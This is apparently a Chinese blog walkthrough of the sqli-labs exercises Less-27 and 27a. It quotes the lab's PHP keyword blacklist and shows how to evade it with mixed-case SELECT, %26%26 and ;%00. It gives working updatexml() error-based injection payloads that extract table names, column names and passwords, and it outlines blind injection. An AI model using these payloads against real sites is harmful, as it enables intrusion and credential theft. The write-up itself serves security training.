Less-27and27a

1. 思路分析

这一关表上上告诉你他只是过滤了unionselect,其实不然。

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

过滤掉的东西远比你想象得多。

但是有一个指明的漏洞,就是过滤机制没有使用忽略大小写,那么题目就仅仅只会过滤select,SELECT,Select,而当我们输入一个SelEcT的时候,他是不会过滤的。

其中/m是多行匹配,/s是空白符匹配,因此还是尽量不要使用空格,这里没有对updatexml()进行限制,我们直接用这个注入就好。

2. 注入过程

先看一下原生SQL

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们的思路就是直接构造id闭合,然后用and连接一个updatexml(),进行报错注入就好了。

这里要注意几点:

  1. 空白字符会被吃到,尽管and没有被过滤,但是还是使用%26%26更方便。
  2. 注释被过滤了,可以使用;%00代替--#
  3. 在进行select查询的时候,使用()来代替空格的分隔作用。

那么首先查看一下数据表:

?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(table_name)) from(information_schema.tables)where(table_schema="security"))),1);%00

在这里插入图片描述
然后在查users表中的字段有哪些?

?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(column_name)) from(information_schema.columns)where(table_name="users"%26%26table_schema="security"))),1);%00

在这里插入图片描述
最后查一下账户信息

?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(password)) from(users))),1);%00

在这里插入图片描述


3. 27a

27a和27的差别就是,将详细的错误信息给屏蔽掉了。
这样可以使用盲注。

?id=1"%26%26(payload);%00

可以自己构造payload进行注入。(通过asciisubstr()length()进行长度检测,字符判断)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值